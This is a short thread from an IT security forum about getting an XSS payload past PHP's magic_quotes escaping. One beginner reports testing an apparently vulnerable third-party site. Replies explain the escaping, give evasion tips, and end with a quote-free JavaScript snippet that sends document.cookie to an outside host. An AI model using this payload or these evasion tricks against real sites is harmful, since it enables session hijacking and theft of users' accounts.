Waraxe IT Security Portal

x303 · Beginner

I've found it in ?id=[XSS] . When i try <script>alert(document.cookie);</script> everything works fine. But when i try: <script>alert('Hello');</script> then in source code ( ' ) are replaced by ( \' ) and then nothing is working like it should Confused

So is there a way how to avoid this?

And another question, is it available to inject PHP script ? Rolling Eyes

icenix · Advanced user

try <script>alert("hello")</script>
plus i dont know why you would even want to anyway but yeah,

and no you cant Execute PHP Code through XSS.
your thinking of Remote file Inclusion..

or you can replace <script> all together

x303 · Beginner

I've tried ( " ) too, same thing happens. Well, maybe it's filtred Smile

Anyway thanx. Ive noticed that LOTS of sites arent filtring user input..

Tora · Regular user

Hi

thats the effect from the php cofiguration "magic_quotes_gpc"

The magic_quotes_gpc configuration directive affects Get, Post and Cookie values. If turned on, value (It's "PHP!") will automagically become (It\'s \"PHP!\").

more info:
http://www.php.net/en/variables.external

waraxe · Site admin

b0ilz · Regular user

Dont forget that you dont need to put any real javascript on the website. You can use remote scripts by using the src= attribute in many different methods. Also, javascript is not the only language you can use for xss.

Here is example of javascript that can steal a cookie without using any quotes. Also is the technique in that hackingwithjavascript paper. this is tested with mozilla 0.9.9:

var u = /http:site.com?/;
var x = u.source + document.cookie;
window.location=x;